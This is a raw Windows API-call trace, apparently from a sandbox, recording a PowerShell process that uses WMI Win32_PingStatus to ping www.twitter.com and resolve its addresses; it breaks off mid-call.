SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0162.933] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0162.933] SafeArrayGetLBound (in: psa=0x5f8af10, nDim=0x1, plLbound=0x5bde3e8 | out: plLbound=0x5bde3e8) returned 0x0 [0162.934] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.934] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.934] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.934] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.934] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.934] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.934] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.934] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.934] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.934] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.934] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.934] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.934] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.934] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.934] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.934] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.934] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.934] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.934] SysStringByteLen (bstr="__PATH") returned 0xc [0162.934] SysStringByteLen (bstr="__PATH") returned 0xc [0162.934] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2298ce8*=0, plFlavor=0x2298cec*=0 | out: pVal=0x5bde54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2298ce8*=3, plFlavor=0x2298cec*=64) returned 0x0 [0162.935] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2298d1c*=0, plFlavor=0x2298d20*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2298d1c*=8, plFlavor=0x2298d20*=64) returned 0x0 [0162.935] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.935] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.935] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2298d74*=0, plFlavor=0x2298d78*=0 | out: pVal=0x5bde54c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2298d74*=8, plFlavor=0x2298d78*=64) returned 0x0 [0162.935] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2298d9c*=0, plFlavor=0x2298da0*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2298d9c*=8, plFlavor=0x2298da0*=64) returned 0x0 [0162.935] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.935] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.935] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2298df4*=0, plFlavor=0x2298df8*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2298df4*=8, plFlavor=0x2298df8*=64) returned 0x0 [0162.935] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.935] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.936] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2298fd0*=0, plFlavor=0x2298fd4*=0 | out: pVal=0x5bde54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2298fd0*=3, plFlavor=0x2298fd4*=64) returned 0x0 [0162.936] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2299004*=0, plFlavor=0x2299008*=0 | out: pVal=0x5bde54c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2299004*=8200, plFlavor=0x2299008*=64) returned 0x0 [0162.936] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2299038*=0, plFlavor=0x229903c*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2299038*=8, plFlavor=0x229903c*=64) returned 0x0 [0162.936] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.936] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.936] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2299084*=0, plFlavor=0x2299088*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2299084*=8, plFlavor=0x2299088*=64) returned 0x0 [0162.936] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.936] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.936] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22990d0*=0, plFlavor=0x22990d4*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22990d0*=8, plFlavor=0x22990d4*=64) returned 0x0 [0162.936] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.937] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.937] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde590 | out: puCount=0x5bde590*=0x2) returned 0x0 [0162.937] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde58c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde58c*=0xf, pszText=0x0) returned 0x0 [0162.937] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde58c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde58c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.937] IWbemClassObject:Get (in: This=0x5f6b650, wszName="address", lFlags=0, pVal=0x5bde58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2299308*=0, plFlavor=0x229930c*=0 | out: pVal=0x5bde58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x2299308*=8, plFlavor=0x229930c*=0) returned 0x0 [0162.937] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.937] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.937] IWbemClassObject:Get (in: This=0x5f6b650, wszName="address", lFlags=0, pVal=0x5bde5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2299308*=8, plFlavor=0x229930c*=0 | out: pVal=0x5bde5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x2299308*=8, plFlavor=0x229930c*=0) returned 0x0 [0162.937] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.937] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.937] GetAddrInfoW (in: pNodeName="www.twitter.com", pServiceName=0x0, pHints=0x5bde630*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x5bde5d8 | out: ppResult=0x5bde5d8*=0x5f98d30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5fa36a0*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f986a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5fa3688*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) returned 0 [0162.939] FreeAddrInfoW (pAddrInfo=0x5f98d30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5fa36a0*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f986a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5fa3688*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) [0162.939] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0162.940] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0162.940] EtwEventActivityIdControl () returned 0x0 [0162.940] EtwEventActivityIdControl () returned 0x0 [0162.940] EtwEventActivityIdControl () returned 0x0 [0162.941] EtwEventActivityIdControl () returned 0x0 [0162.941] EtwEventActivityIdControl () returned 0x0 [0162.941] EtwEventActivityIdControl () returned 0x0 [0162.941] EtwEventActivityIdControl () returned 0x0 [0162.941] EtwEventActivityIdControl () returned 0x0 [0162.941] EtwEventActivityIdControl () returned 0x0 [0162.941] EtwEventActivityIdControl () returned 0x0 [0162.942] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0162.942] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0162.942] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.942] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0162.942] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0162.942] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.942] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0162.942] SafeArrayGetDim (psa=0x5f8ae80) returned 0x1 [0162.942] SafeArrayGetDim (psa=0x5f8ae80) returned 0x1 [0162.942] SafeArrayGetLBound (in: psa=0x5f8ae80, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0162.942] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.942] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.942] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.942] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.942] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.942] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.942] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.942] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.942] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.942] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.942] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.942] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.943] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.943] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.943] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.943] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.943] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.943] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.943] SysStringByteLen (bstr="__PATH") returned 0xc [0162.943] SysStringByteLen (bstr="__PATH") returned 0xc [0162.943] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a3360*=0, plFlavor=0x22a3364*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22a3360*=3, plFlavor=0x22a3364*=64) returned 0x0 [0162.943] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a3394*=0, plFlavor=0x22a3398*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a3394*=8, plFlavor=0x22a3398*=64) returned 0x0 [0162.943] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.943] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.943] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a33ec*=0, plFlavor=0x22a33f0*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a33ec*=8, plFlavor=0x22a33f0*=64) returned 0x0 [0162.943] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a3414*=0, plFlavor=0x22a3418*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a3414*=8, plFlavor=0x22a3418*=64) returned 0x0 [0162.943] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.943] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.944] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a346c*=0, plFlavor=0x22a3470*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a346c*=8, plFlavor=0x22a3470*=64) returned 0x0 [0162.944] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.944] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.944] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a3648*=0, plFlavor=0x22a364c*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22a3648*=3, plFlavor=0x22a364c*=64) returned 0x0 [0162.944] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a367c*=0, plFlavor=0x22a3680*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a367c*=8200, plFlavor=0x22a3680*=64) returned 0x0 [0162.944] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a36b0*=0, plFlavor=0x22a36b4*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22a36b0*=8, plFlavor=0x22a36b4*=64) returned 0x0 [0162.944] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.944] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.944] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a36fc*=0, plFlavor=0x22a3700*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22a36fc*=8, plFlavor=0x22a3700*=64) returned 0x0 [0162.944] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.944] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.944] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a3748*=0, plFlavor=0x22a374c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a3748*=8, plFlavor=0x22a374c*=64) returned 0x0 [0162.945] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.945] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.945] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde89c | out: puCount=0x5bde89c*=0x2) returned 0x0 [0162.945] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0x0, pszText=0x0 | out: puBuffLength=0x5bde898*=0xf, pszText=0x0) returned 0x0 [0162.945] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.945] IWbemClassObject:Get (in: This=0x5f6b650, wszName="BufferSize", lFlags=0, pVal=0x5bde898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a3980*=0, plFlavor=0x22a3984*=0 | out: pVal=0x5bde898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22a3980*=19, plFlavor=0x22a3984*=0) returned 0x0 [0162.945] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0162.945] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0162.945] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.945] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0162.945] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0162.945] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.945] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0162.945] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0162.945] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0162.945] SafeArrayGetLBound (in: psa=0x5f8afd0, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0162.945] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.945] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.945] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.945] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.946] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.946] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.946] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.946] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.946] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.946] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.946] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.946] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.946] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.946] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.946] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.946] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.946] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.946] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.946] SysStringByteLen (bstr="__PATH") returned 0xc [0162.946] SysStringByteLen (bstr="__PATH") returned 0xc [0162.946] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a3d34*=0, plFlavor=0x22a3d38*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22a3d34*=3, plFlavor=0x22a3d38*=64) returned 0x0 [0162.946] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a3d68*=0, plFlavor=0x22a3d6c*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a3d68*=8, plFlavor=0x22a3d6c*=64) returned 0x0 [0162.946] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.946] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.946] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a3dc0*=0, 